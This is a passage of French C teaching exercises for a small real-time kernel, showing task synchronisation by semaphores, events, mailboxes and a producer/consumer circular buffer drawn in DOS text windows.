CreateTask(T3, PT3, Tache3); |
|||
CreateTask(TK, PTK, TKill); |
|||
InitSemaphore(Sem1, ValMaxSem); |
|||
|
|||
EnterRegion(); |
|||
StartTask(T2); |
|||
StartTask(T1); |
|||
StartTask(TK); |
|||
LeaveRegion(); |
|||
|
|||
while(1) |
|||
{ |
|||
EnterRegion(); |
|||
EcrCar(F4,'&'); |
|||
LeaveRegion(); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,116 @@ |
|||
/************************************************************************/ |
|||
/* EX5A.C : Synchronisation par Sémaphore Binaire */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Deux tâches de même priorité affichent chacune un message dans */ |
|||
/* leur fenêtre respective. */ |
|||
/* Ces deux tâches se synchronisent mutuellement. */ |
|||
/* Principe : */ |
|||
/* La synchronisation est realisée par un sémaphore binaire : ce */ |
|||
/* TP a pour but essentiel de montrer le principe de préemption du */ |
|||
/* processeur. */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 |
|||
#define T2 2 |
|||
#define T3 3 |
|||
#define TK 4 |
|||
|
|||
#define PT1 1 |
|||
#define PT2 1 |
|||
#define PT3 1 |
|||
#define PTK 3 |
|||
|
|||
#define Sem1 1 |
|||
#define Sem2 2 |
|||
#define Sem3 3 |
|||
#define ValMaxSem 1 |
|||
#define ESC 0x1B |
|||
|
|||
#define AttInfinie 0L |
|||
|
|||
Word F0,F1,F2,F3,F4; |
|||
#include "tempo.c" |
|||
/*-----------------------------------------------------*/ |
|||
TKill(void) |
|||
{ |
|||
Char car; |
|||
while(1) |
|||
{ |
|||
LireCar(F1,ON,&car); |
|||
if( car == ESC ) RetDos(); |
|||
} |
|||
} |
|||
/*-----------------------------------------------------*/ |
|||
Tache1(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
EcrTexte(F1,"T111111\n"); |
|||
Tempo(10); |
|||
EffaceFen(F1); |
|||
V(Sem2); /*On debloque la tache 2*/ |
|||
P(Sem1,AttInfinie); /*On attend que la tache 3 nous debloque*/ |
|||
} |
|||
} |
|||
/*-----------------------------------------------------*/ |
|||
Tache2(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
EcrTexte(F2,"T222222\n"); |
|||
Tempo(10); |
|||
EffaceFen(F2); |
|||
V(Sem3); |
|||
P(Sem2, AttInfinie); |
|||
} |
|||
} |
|||
/*-----------------------------------------------------*/ |
|||
Tache3(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
EcrTexte(F3,"T333333\n"); |
|||
Tempo(10); |
|||
EffaceFen(F3); |
|||
V(Sem1); |
|||
P(Sem3, AttInfinie); |
|||
} |
|||
} |
|||
/*-----------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
|
|||
F0 = OuvreFen( 0, 0,79,24, noir, blanc, "EX 5a : SYNCHRONISATION AVEC UN SEMAPHORE BINAIRE (bis)"); |
|||
F1 = OuvreFen(10,10,21,13, bleu, blanc, "EnCours"); |
|||
F2 = OuvreFen(30, 3,41, 6, vert, blanc, "EnCours"); |
|||
F3 = OuvreFen(50,10,61,13,rouge, blanc, "EnCours"); |
|||
F4 = OuvreFen( 2,20,77,23, cyan, blanc, "TACHE MAIN"); |
|||
|
|||
InitNoyau(); |
|||
CreateTask(T1, PT1, Tache1); |
|||
CreateTask(T2, PT2, Tache2); |
|||
CreateTask(T3, PT3, Tache3); |
|||
CreateTask(TK, PTK, TKill); |
|||
|
|||
InitSemaphore(Sem1, ValMaxSem); /*Creation des semaphores, pas d'initialisation a 1*/ |
|||
InitSemaphore(Sem2, ValMaxSem); |
|||
InitSemaphore(Sem3, ValMaxSem); |
|||
|
|||
StartTask(TK); /*L'absence de section critique garantit l'ordre d'execution*/ |
|||
StartTask(T3); |
|||
StartTask(T2); |
|||
StartTask(T1); |
|||
|
|||
while(1) |
|||
{ |
|||
EnterRegion(); |
|||
EcrCar(F4,'&'); |
|||
LeaveRegion(); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,124 @@ |
|||
/************************************************************************/ |
|||
/* EX5c.C EVENEMENTS MULTIPLES */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Deux tâches de même priorité fonctionnent en partage du temps */ |
|||
/* Une troisième tâche, de priorité plus forte doit effectuer un */ |
|||
/* traitement demandé par l'une des tâches précédentes. */ |
|||
/* Principe : */ |
|||
/* Chacune des deux premières tâches signale son événement à la */ |
|||
/* troisième tâche qui affichera un message correspondant à */ |
|||
/* l'événement recu. */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 |
|||
#define T2 2 |
|||
#define T3 3 |
|||
#define TK 4 |
|||
#define PT1 1 |
|||
#define PT2 1 |
|||
#define PT3 2 |
|||
#define PTK 3 |
|||
|
|||
#define SE1 0 |
|||
#define SE2 1 |
|||
#define WE1 0x01 |
|||
#define WE2 0x02 |
|||
|
|||
#define ESC 0x1B |
|||
|
|||
|
|||
Word F0,F1,F2,F3,F4; |
|||
#include "tempo.c" |
|||
/*--------------------------------------------------*/ |
|||
TKill(void) |
|||
{ |
|||
Char car; |
|||
LireCar(F4,ON,&car); |
|||
if( car == ESC ) RetDos(); |
|||
} |
|||
/*--------------------------------------------------*/ |
|||
Tache1(void) |
|||
{ |
|||
|
|||
while(1) |
|||
{ |
|||
EcrTexte(F1,"\nSignale EVT1"); |
|||
Tempo(5); |
|||
SignalEvent(T3,SE1); |
|||
} |
|||
} |
|||
/*--------------------------------------------------*/ |
|||
Tache2(void) |
|||
{ |
|||
while(1) |
|||
{ |
|||
EcrTexte(F2,"\nSignale EVT2"); |
|||
Tempo(5); |
|||
SignalEvent(T3,SE2); |
|||
} |
|||
} |
|||
/*--------------------------------------------------*/ |
|||
Tache3(void) |
|||
{ |
|||
Word events; |
|||
int cpt1 = 0, cpt2 = 0; |
|||
while(1) |
|||
{ |
|||
WaitEvents(WE1|WE2, 0, &events); |
|||
|
|||
if (events&WE1) |
|||
{ |
|||
EffaceFen(F1); |
|||
++cpt1; |
|||
SelectFen(F3); |
|||
EcrVar("EVT1 Recu (%d)\r", cpt1); |
|||
ClearEvents(WE1); |
|||
} |
|||
|
|||
if (events&WE2) |
|||
{ |
|||
EffaceFen(F2); |
|||
++cpt2; |
|||
SelectFen(F3); |
|||
EcrVar("EVT2 Recu (%d)\r", cpt2); |
|||
ClearEvents(WE2); |
|||
} |
|||
} |
|||
} |
|||
/*--------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
|
|||
F0 = OuvreFen( 0, 0,79,24, noir, blanc, "EX 5c :EVENEMENTS MULTIPLES"); |
|||
F1 = OuvreFen(10, 4,25, 7, vert, blanc, "Tache #1"); |
|||
F2 = OuvreFen(55, 4,70, 7, bleu, blanc, "Tache #2"); |
|||
F3 = OuvreFen(31, 7,49,19, rouge,blanc, "Tache #3"); |
|||
F4 = OuvreFen( 2,20,77,23, cyan, blanc, "TACHE MAIN"); |
|||
|
|||
InitNoyau(); |
|||
RTClockInit(1); |
|||
CreateTask(T1, PT1, Tache1); |
|||
CreateTask(T2, PT2, Tache2); |
|||
CreateTask(T3, PT3, Tache3); |
|||
CreateTask(TK, PTK, TKill); |
|||
|
|||
EnterRegion(); |
|||
StartTask(TK); |
|||
StartTask(T1); |
|||
StartTask(T2); |
|||
StartTask(T3); |
|||
LeaveRegion(); |
|||
|
|||
while(1) |
|||
{ |
|||
EnterRegion(); |
|||
EcrCar(F4,'&'); |
|||
LeaveRegion(); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,90 @@ |
|||
/************************************************************************/ |
|||
/* EX6.C : Communication par Boîte à Lettres */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Une première tâche lit des caractères au clavier puis les */ |
|||
/* communique à une seconde tâche qui affiche le caractère reçu. */ |
|||
/* Si aucun caractère n'est reçu au bout d'un certain temps, la */ |
|||
/* tache de réception affiche un message d'erreur. */ |
|||
/* Principe : */ |
|||
/* La tâche de consommation lit la boîte à lettres avec un time-out. */ |
|||
/* Si la boîte est remplie avant l'expiration du time-out: */ |
|||
/* Alors lire le caractère puis l'afficher. */ |
|||
/* Sinon afficher "Time-Out" dans une troisième fenêtre. */ |
|||
/* FinSi */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 /*TacheProducteur*/ |
|||
#define T2 2 /*TacheConsommateur*/ |
|||
|
|||
#define PT1 4 /*Priorité TacheProducteur*/ |
|||
#define PT2 3 /*Priorité TacheConsommateur*/ |
|||
|
|||
#define BL 1 /*On utilise une boîte à lettres...*/ |
|||
#define TBL 1 /*... de taille 1*/ |
|||
#define TOBL 20 /*... avec un time out de 2 secondes*/ |
|||
#define ESC 0x1b |
|||
|
|||
Word F0,F1,F2,F3,F4; |
|||
|
|||
#include "tempo.c" |
|||
/*-------------------------------------------------------------------*/ |
|||
TacheProducteur() |
|||
{ |
|||
Char car; |
|||
while(1) |
|||
{ |
|||
LireCar(F1,ON,&car); |
|||
if (car == ESC) RetDos(); |
|||
Send(BL,car); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
TacheConsommateur() |
|||
{ |
|||
Char car; |
|||
while(1) |
|||
{ |
|||
if(Receive(BL,&car,TOBL)) |
|||
{ |
|||
EcrTexte(F4, "Time-out"); |
|||
Tempo(10); |
|||
EffaceFen(F4); |
|||
} |
|||
else |
|||
{ |
|||
EcrCar(F2,car); |
|||
} |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
F0 = OuvreFen( 0, 0,78,24, noir, blanc, "EXERCICE 6 : Communication par BL"); |
|||
F1 = OuvreFen( 5,10,25,15, vert, blanc, "Producteur"); |
|||
F2 = OuvreFen(45,10,65,15, bleu, blanc, "Consommateur"); |
|||
F4 = OuvreFen(45,16,65,19, bleu, blanc, "Time-out"); |
|||
F3 = OuvreFen( 2,20,77,23, cyan ,blanc, "TACHE MAIN"); |
|||
|
|||
InitNoyau(); |
|||
|
|||
InitMailBox(BL, TBL); |
|||
|
|||
CreateTask(T1, PT1, TacheProducteur); |
|||
CreateTask(T2, PT2, TacheConsommateur); |
|||
|
|||
EnterRegion(); |
|||
StartTask(T1); |
|||
StartTask(T2); |
|||
LeaveRegion(); |
|||
|
|||
while(1) |
|||
{ |
|||
EcrCar(F3,'&'); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,124 @@ |
|||
/************************************************************************/ |
|||
/* EX6a-bis.C : Communication par une seule Boîtes à Lettres */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Trois tâches T1,T2 et T3 tournent "circulairement" dans l'ordre */ |
|||
/* T1,T2,T3. */ |
|||
/* Chaque tâche Ti possède sa propre fenêtre et écrit "Tiiiiii". */ |
|||
/* Le message reste affiché pendant environ une demie seconde, puis */ |
|||
/* la fenêtre est éffacée. La tâche suivante prend alors la main. */ |
|||
/* Comme dans la plupart des exercices, une tâche TKill, de */ |
|||
/* priorité supérieure, écrit les caractères frappés au clavier */ |
|||
/* dans la fenêtre de la tâche T1. Escape permet de revenir au DOS. */ |
|||
/* Principe : */ |
|||
/* Les tâches se synchronisent mutuellement par boîtes à lettres. */ |
|||
/* */ |
|||
/* */ |
|||
/* Ajout: */ |
|||
/* - Une seule boite aux lettres utilisees */ |
|||
/* */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 |
|||
#define T2 2 |
|||
#define T3 3 |
|||
#define TK 4 |
|||
|
|||
#define PT1 3 |
|||
#define PT2 3 |
|||
#define PT3 3 |
|||
#define PTK 4 |
|||
|
|||
#define BL1 1 |
|||
#define TBL1 1 |
|||
#define TOBL1 0 |
|||
|
|||
#define ESC 0x1b |
|||
|
|||
Word F0,F1,F2,F3,F4; |
|||
|
|||
#include "tempo.c" |
|||
/*-------------------------------------------------------------------*/ |
|||
TKill(void) |
|||
{ |
|||
Char car; |
|||
while(1) |
|||
{ |
|||
LireCar(F4,ON,&car); |
|||
if(car == ESC) RetDos(); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
Tache1(void) |
|||
{ /*Les taches 1, 2 et 3 ne font que consommer */ |
|||
Word null; |
|||
Receive(BL1,&null,TOBL1); /*Met la tache dans la file d'attente de la boite aux lettres*/ |
|||
while(1) |
|||
{ |
|||
EcrTexte(F1,"T11111\n"); |
|||
Tempo(10); |
|||
EffaceFen(F1); |
|||
Receive(BL1,&null,TOBL1); /*Remise de la tache dans la file d'attente de la boite aux lettres*/ |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
Tache2(void) |
|||
{ |
|||
Word null; |
|||
Receive(BL1,&null,TOBL1); |
|||
while(1) |
|||
{ |
|||
EcrTexte(F2,"T22222\n"); |
|||
Tempo(10); |
|||
EffaceFen(F2); |
|||
Receive(BL1,&null,TOBL1); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
Tache3(void) |
|||
{ |
|||
Word null; |
|||
Receive(BL1,&null,TOBL1); |
|||
while(1) |
|||
{ |
|||
EcrTexte(F3,"T33333\n"); |
|||
Tempo(10); |
|||
EffaceFen(F3); |
|||
Receive(BL1,&null,TOBL1); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
F0 = OuvreFen( 0, 0,78,24, noir, blanc, "EXERCICE 6a : COMMUNICATION PAR BOITES A LETTRES"); |
|||
F1 = OuvreFen(10,10,21,13, vert, blanc, "TACHE 1"); |
|||
F2 = OuvreFen(30, 3,41, 6, bleu, blanc, "TACHE 2"); |
|||
F3 = OuvreFen(50,10,61,13, rouge,blanc, "TACHE 3"); |
|||
F4 = OuvreFen( 2,20,77,23, cyan ,blanc, "TACHE MAIN"); |
|||
|
|||
InitNoyau(); |
|||
|
|||
InitMailBox(BL1,TBL1); |
|||
|
|||
CreateTask(TK,PTK,TKill); |
|||
CreateTask(T1,PT1,Tache1); |
|||
CreateTask(T2,PT2,Tache2); |
|||
CreateTask(T3,PT3,Tache3); |
|||
|
|||
/*On n'a pas besoin de section critique, car toutes les tache seront bloquees des leur debut */ |
|||
|
|||
StartTask(TK); |
|||
StartTask(T1); /*Inscription de T1 dans la file d'attente de la BAL*/ |
|||
StartTask(T2); /*Inscription de T2 dans la file d'attente de la BAL*/ |
|||
StartTask(T3); /*Inscription de T3 dans la file d'attente de la BAL*/ |
|||
|
|||
while(1) |
|||
{ |
|||
Send(BL1,0); /*La tache main ne fait que produire*/ |
|||
EcrCar(F4,'E'); |
|||
} |
|||
} |
|||
@ -0,0 +1,131 @@ |
|||
/************************************************************************/ |
|||
/* EX6a.C : Communication par Boîtes à Lettres */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Trois tâches T1,T2 et T3 tournent "circulairement" dans l'ordre */ |
|||
/* T1,T2,T3. */ |
|||
/* Chaque tâche Ti possède sa propre fenêtre et écrit "Tiiiiii". */ |
|||
/* Le message reste affiché pendant environ une demie seconde, puis */ |
|||
/* la fenêtre est éffacée. La tâche suivante prend alors la main. */ |
|||
/* Comme dans la plupart des exercices, une tâche TKill, de */ |
|||
/* priorité supérieure, écrit les caractères frappés au clavier */ |
|||
/* dans la fenêtre de la tâche T1. Escape permet de revenir au DOS. */ |
|||
/* Principe : */ |
|||
/* Les tâches se synchronisent mutuellement par boîtes à lettres. */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 |
|||
#define T2 2 |
|||
#define T3 3 |
|||
#define TK 4 |
|||
|
|||
#define PT1 3 |
|||
#define PT2 3 |
|||
#define PT3 3 |
|||
#define PTK 4 |
|||
|
|||
#define BL1 1 |
|||
#define TBL1 1 |
|||
#define TOBL1 0 |
|||
#define BL2 2 |
|||
#define TBL2 1 |
|||
#define TOBL2 0 |
|||
#define BL3 3 |
|||
#define TBL3 1 |
|||
#define TOBL3 0 |
|||
|
|||
#define ESC 0x1b |
|||
|
|||
Word F0,F1,F2,F3,F4; |
|||
|
|||
#include "tempo.c" |
|||
/*-------------------------------------------------------------------*/ |
|||
TKill(void) |
|||
{ |
|||
Char car; |
|||
while(1) |
|||
{ |
|||
LireCar(F4,ON,&car); |
|||
if(car == ESC) RetDos(); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
Tache1(void) |
|||
{ |
|||
Word null; |
|||
while(1) |
|||
{ |
|||
Receive(BL1,&null,TOBL1); |
|||
EcrTexte(F1,"T11111\n"); |
|||
Tempo(10); |
|||
EffaceFen(F1); |
|||
Send(BL2,0); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
Tache2(void) |
|||
{ |
|||
Word null; |
|||
while(1) |
|||
{ |
|||
Receive(BL2,&null,TOBL2); |
|||
EcrTexte(F2,"T22222\n"); |
|||
Tempo(10); |
|||
EffaceFen(F2); |
|||
Send(BL3,0); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
Tache3(void) |
|||
{ |
|||
Word null; |
|||
while(1) |
|||
{ |
|||
Receive(BL3,&null,TOBL3); |
|||
EcrTexte(F3,"T33333\n"); |
|||
Tempo(10); |
|||
EffaceFen(F3); |
|||
Send(BL1,0); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
F0 = OuvreFen( 0, 0,78,24, noir, blanc, "EXERCICE 6a : COMMUNICATION PAR BOITES A LETTRES"); |
|||
F1 = OuvreFen(10,10,21,13, vert, blanc, "TACHE 1"); |
|||
F2 = OuvreFen(30, 3,41, 6, bleu, blanc, "TACHE 2"); |
|||
F3 = OuvreFen(50,10,61,13, rouge,blanc, "TACHE 3"); |
|||
F4 = OuvreFen( 2,20,77,23, cyan ,blanc, "TACHE MAIN"); |
|||
|
|||
InitNoyau(); |
|||
|
|||
InitMailBox(BL1,TBL1); |
|||
InitMailBox(BL2,TBL2); |
|||
InitMailBox(BL3,TBL3); |
|||
|
|||
CreateTask(TK,PTK,TKill); |
|||
CreateTask(T1,PT1,Tache1); |
|||
CreateTask(T2,PT2,Tache2); |
|||
CreateTask(T3,PT3,Tache3); |
|||
|
|||
StartTask(TK); |
|||
StartTask(T1); |
|||
StartTask(T2); |
|||
StartTask(T3); |
|||
|
|||
/* Pour une solution avec une seule BAL, cf ex6a-bis.c */ |
|||
|
|||
|
|||
/* Amorcage */ |
|||
Send(BL1,0); |
|||
|
|||
while(1) |
|||
{ |
|||
EcrCar(F4,'&'); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,142 @@ |
|||
/************************************************************************/ |
|||
/* EX6b.C : Communication par Boîtes à Lettres */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Cet exercice est la prolongation de l'exercice 6a. */ |
|||
/* Trois tâches T1,T2 et T3 tournent "circulairement" dans l'ordre */ |
|||
/* T1,T2,T3. */ |
|||
/* Chaque tâche Ti possède sa propre fenêtre et écrit "Tiiiii". Le */ |
|||
/* message reste affiché pendant environ une seconde, puis la fenêtre */ |
|||
/* est effacée. La tâche suivante prend alors la main. */ |
|||
/* Comme dans la plupart des exercices, une tâche TKill, permet */ |
|||
/* par la frappe de Escape de revenir au DOS. */ |
|||
/* Ce qui est nouveau, c'est qu'un cycle T1,T2,T3 est déclenché */ |
|||
/* par la frappe d'une touche autre que Escape. */ |
|||
/* UNE TOUCHE <=> UN CYCLE T1,T2,T3. */ |
|||
/* La frappe d'une touche est sans effet tant que le cycle T1,T2,T3 */ |
|||
/* n'est pas terminé. */ |
|||
/* Principe : */ |
|||
/* La synchronisation est assurée par boîtes à lettres. */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define T1 1 |
|||
#define T2 2 |
|||
#define T3 3 |
|||
#define TK 4 |
|||
|
|||
#define PT1 3 |
|||
#define PT2 3 |
|||
#define PT3 3 |
|||
#define PTK 4 |
|||
|
|||
#define BL1 1 |
|||
#define TBL1 1 |
|||
#define TOBL1 0 |
|||
#define BL2 2 |
|||
#define TBL2 1 |
|||
#define TOBL2 0 |
|||
#define BL3 3 |
|||
#define TBL3 1 |
|||
#define TOBL3 0 |
|||
|
|||
#define ESC 0x1b |
|||
|
|||
Word F0,F1,F2,F3,F4; |
|||
|
|||
/* On peut acceder a cette variable globale sans section critique car l'environnememt n'est pas preemptif */ |
|||
Char cycle = 1; /*Est-on dans un cycle ?*/ |
|||
|
|||
#include "tempo.c" |
|||
/*-------------------------------------------------------------------*/ |
|||
TKill(void) |
|||
{ |
|||
Char car; |
|||
while(1) |
|||
{ |
|||
LireCar(F4,OFF,&car); |
|||
if(cycle == 0) |
|||
{ |
|||
if(car == ESC) RetDos(); |
|||
cycle = 1; |
|||
Send(BL1,0); |
|||
} |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
Tache1(void) |
|||
{ |
|||
Word null; |
|||
while(1) |
|||
{ |
|||
Receive(BL1,&null,TOBL1); |
|||
EcrTexte(F1,"T11111\n"); |
|||
Tempo(10); |
|||
EffaceFen(F1); |
|||
Send(BL2,0); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
Tache2(void) |
|||
{ |
|||
Word null; |
|||
while(1) |
|||
{ |
|||
Receive(BL2,&null,TOBL2); |
|||
EcrTexte(F2,"T22222\n"); |
|||
Tempo(10); |
|||
EffaceFen(F2); |
|||
Send(BL3,0); |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
Tache3(void) |
|||
{ |
|||
Word null; |
|||
while(1) |
|||
{ |
|||
Receive(BL3,&null,TOBL3); |
|||
EcrTexte(F3,"T33333\n"); |
|||
Tempo(10); |
|||
EffaceFen(F3); |
|||
/*On n'envoie pas de message a T1*/ |
|||
cycle = 0; |
|||
} |
|||
} |
|||
/*-------------------------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
F0 = OuvreFen( 0, 0,78,24, noir, blanc, "EXERCICE 6b : COMMUNICATION PAR BOITES A LETTRES"); |
|||
F1 = OuvreFen(10,10,21,13, vert, blanc, "TACHE 1"); |
|||
F2 = OuvreFen(30, 3,41, 6, bleu, blanc, "TACHE 2"); |
|||
F3 = OuvreFen(50,10,61,13, rouge,blanc, "TACHE 3"); |
|||
F4 = OuvreFen( 2,20,77,23, cyan ,blanc, "TACHE MAIN"); |
|||
|
|||
InitNoyau(); |
|||
|
|||
InitMailBox(BL1,TBL1); |
|||
InitMailBox(BL2,TBL2); |
|||
InitMailBox(BL3,TBL3); |
|||
|
|||
CreateTask(TK,PTK,TKill); |
|||
CreateTask(T1,PT1,Tache1); |
|||
CreateTask(T2,PT2,Tache2); |
|||
CreateTask(T3,PT3,Tache3); |
|||
|
|||
StartTask(TK); |
|||
StartTask(T1); |
|||
StartTask(T2); |
|||
StartTask(T3); |
|||
|
|||
Send(BL1,0); |
|||
|
|||
while(1) |
|||
{ |
|||
EcrCar(F4,'&'); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
|
|||
@ -0,0 +1,129 @@ |
|||
/************************************************************************/ |
|||
/* EX7.C IMPRIMANTE FICTIVE (mode caractère) */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Une tâche productrice lit des caractères au clavier et les */ |
|||
/* transmet à une tâche consommatrice (à travers un buffer circulaire */ |
|||
/* commun) qui affiche ces caractères à vitesse lente (environ 2 carac-*/ |
|||
/* tères par seconde). Pour obtenir cette vitesse, la tâche consomma- */ |
|||
/* teur se "suspend" pendant environ 0.5 seconde (DelayTask(10) ) */ |
|||
/* */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define TP 1 /* Tâche Producteur */ |
|||
#define TC 2 /* Tâche Consommateur */ |
|||
|
|||
#define PTP 3 |
|||
#define PTC 4 |
|||
|
|||
#define TAILLE 5 /* Taille du buffer */ |
|||
#define ESC 0x1b |
|||
|
|||
|
|||
Word F0,F1,F2,F3,F4,F5; |
|||
|
|||
#include "tempo.c" |
|||
|
|||
Char Buffer[TAILLE]; |
|||
|
|||
Char posP = 0; |
|||
Char posC = 0; |
|||
Char ecriture = 0; |
|||
|
|||
|
|||
|
|||
|
|||
|
|||
/*------------------------------------------------------------------*/ |
|||
TacheProducteur(void) |
|||
{ |
|||
Char car; |
|||
while(1) |
|||
{ |
|||
/* Lecture d'un caractere */ |
|||
LireCar(F1,ON,&car); |
|||
if(car == ESC) RetDos(); |
|||
|
|||
/* Entree en section critique ? */ |
|||
if (posP == posC) |
|||
{ |
|||
while (ecriture == 1) |
|||
{ |
|||
/* On attend */ |
|||
EcrTexte(F4, "BUFFER PLEIN"); |
|||
DelayTask(1); |
|||
EffaceFen(F4); |
|||
} |
|||
} |
|||
|
|||
/* Debut de la section critique (pas d'appel systeme) */ |
|||
Buffer[posP] = car; |
|||
posP++; |
|||
if (posP == TAILLE) posP = 0; |
|||
ecriture = 1; |
|||
/* Fin de la section critique */ |
|||
|
|||
} |
|||
} |
|||
/*------------------------------------------------------------------*/ |
|||
TacheConsommateur(void) |
|||
{ |
|||
Char car; |
|||
while(1) |
|||
{ |
|||
|
|||
/* Entree en section critique ? */ |
|||
if (posP == posC) |
|||
{ |
|||
while (ecriture == 0) |
|||
{ |
|||
/* On attend */ |
|||
EcrTexte(F3, "Buffer vide"); |
|||
DelayTask(1); |
|||
EffaceFen(F3); |
|||
} |
|||
} |
|||
|
|||
/* Debut de la section critique (pas d'appel systeme) */ |
|||
car = Buffer[posC]; |
|||
posC++; |
|||
if (posC == TAILLE) posC = 0; |
|||
ecriture = 0; |
|||
/* Fin de la section critique */ |
|||
|
|||
EcrCar(F2,car); |
|||
DelayTask(10); |
|||
} |
|||
} |
|||
/*------------------------------------------------------------------*/ |
|||
void main(void) |
|||
{ |
|||
InitVideo(); |
|||
F0= OuvreFen( 0, 0,79,24,noir,blanc,"EXERCICE 7 : IMPRIMANTE FICTIVE (caractère + petit buffer)"); |
|||
F1= OuvreFen( 2, 1,77, 8,bleu,blanc,"TACHE PRODUCTRICE (clavier)"); |
|||
F2= OuvreFen( 2, 8,77,15,vert,blanc,"TACHE CONSOMMATEUR (imprimante)"); |
|||
F3= OuvreFen( 2,16,22,19,magenta, blanc,"ATTENTION"); |
|||
F4= OuvreFen(57,16,77,19,blanc,rouge,"ATTENTION"); |
|||
F5= OuvreFen( 2,20,77,23,cyan,blanc,"TACHE MAIN"); |
|||
|
|||
EcrTexte(F3,"Buffer Vide"); |
|||
|
|||
|
|||
InitNoyau(); |
|||
|
|||
|
|||
CreateTask(TP,PTP,TacheProducteur); |
|||
CreateTask(TC,PTC,TacheConsommateur); |
|||
|
|||
StartTask(TC); |
|||
StartTask(TP); |
|||
|
|||
while(1) |
|||
{ |
|||
EcrCar(F5,'&'); |
|||
Tempo(2); |
|||
} |
|||
} |
|||
@ -0,0 +1,142 @@ |
|||
/************************************************************************/ |
|||
/* EX7A.C IMPRIMANTE FICTIVE (mode ligne) */ |
|||
/************************************************************************/ |
|||
/* Fonction : */ |
|||
/* Une tache productrice lit des lignes de caractères terminées */ |
|||
/* par un RC. Dés qu'une ligne a été saisie elle le signale à une */ |
|||
/* tâche de consommation qui affiche les caractères à vitesse lente. */ |
|||
/* Cette vitesse, 2 caractères par secondes, est contrôlée par Tempo(5)*/ |
|||
/* ou DelayTask(10). */ |
|||
/* Le passage se fait à travers un buffer circulaire commun. */ |
|||
/* La taille du buffer circulaire est sur dimensionnée : on ne se */ |
|||
/* pose pas le problème d'un éventuel débordement du buffer. */ |
|||
/************************************************************************/ |
|||
#include <basec.h> |
|||
#include <str.h> |
|||
#include <video.h> |
|||
|
|||
#define TP 1 /* Tâche Producteur */ |
|||
#define TC 2 /* Tâche Consommateur */ |
|||
|
|||
#define PTP 3 |
|||
#define PTC 4 |
|||
|
|||
|
|||
#define MB 1 |
|||
#define MB_LEN 16 |
|||
|
|||
#define TAILLE 100 /* Taille du buffer */ |
|||
#define ESC 0x1b |
|||
|
|||
|
|||
|
|||
Word F0,F1,F2,F3,F4,F5; |
|||
|
|||
#include "tempo.c" |
|||
|
|||
Char Buffer[TAILLE]; |
|||
|
|||
Char posP = 0; |
|||
Char posC = 0; |
|||
Char ecriture = 0; |
|||
|
|||
|
|||
|
|||
|
|||
|
|||
/*------------------------------------------------------------------*/ |
|||
TacheProducteur(void) |
|||
{ |
|||
Char car; |
|||
Int numChar = 0; |
|||
while(1) |
|||
{ |
|||
/* Lecture d'un caractere */ |
|||
LireCar(F1,ON,&car); |
|||
|
|||
if(car == ESC) RetDos(); |
|||
|
|||
if (car == '\r') |
|||
{ |
|||
Send(MB, numChar); |
|||
numChar = 0; |
|||
} |
|||
else |
|||
{ |
|||
/* Entree en section critique ? */ |
|||
if (posP == posC && ecriture == 1) |
|||
{ |
|||
/* Buffer plein, on oublie le caractere */ |
|||
EcrTexte(F5, "\nBUFFER PLEIN"); |
|||
} |
|||
else |
|||
{ |
|||
/* Debut de la section critique (pas d'appel systeme) */ |
|||
Buffer[posP] = car; |
|||
posP++; |
|||
if (posP == TAILLE) posP = 0; |
|||
ecriture = 1; |
|||
++numChar; |
|||
